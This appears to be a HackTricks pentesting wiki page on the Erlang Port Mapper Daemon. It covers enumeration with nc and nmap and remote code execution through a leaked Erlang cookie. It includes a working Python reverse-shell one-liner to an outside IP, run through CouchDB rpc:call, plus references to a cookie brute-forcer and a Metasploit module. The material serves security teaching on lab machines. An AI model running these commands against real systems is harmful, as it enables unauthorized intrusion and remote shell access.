{% hint style="success" %}
Learn & practice AWS Hacking:
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[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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# Basic Info
The **Erlang Port Mapper Daemon (epmd)** serves as a coordinator for distributed Erlang instances. It is responsible for mapping symbolic node names to machine addresses, essentially ensuring that each node name is associated with a specific address. This role of **epmd** is crucial for the seamless interaction and communication between different Erlang nodes across a network.
**Default port**: 4369
```
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
```
This is used by default on RabbitMQ and CouchDB installations.
# Enumeration
## Manual
```bash
echo -n -e "\x00\x01\x6e" | nc -vn 4369
#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names(''). #This will return the listen addresses
```
## Automatic
```bash
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
| bigcouch: 11502
| freeswitch: 8031
| ecallmgr: 11501
| kazoo_apps: 11500
|_ kazoo-rabbitmq: 25672
```
# Erlang Cookie RCE
## Remote Connection
If you can **leak the Authentication cookie** you will be able to execute code on the host. Usually, this cookie is located in `~/.erlang.cookie` and is generated by erlang at the first start. If not modified or set manually it is a random string \[A:Z] with a length of 20 characters.
```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
Eshell V8.1 (abort with ^G)
At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
```
More information in [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
The author also share a program to brutforce the cookie:
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
## Local Connection
In this case we are going to abuse CouchDB to escalate privileges locally:
```bash
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
```
Example taken from [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)\
You can use **Canape HTB machine to** **practice** how to **exploit this vuln**.
## Metasploit
```bash
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce
```
# Shodan
* `port:4369 "at port"`
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}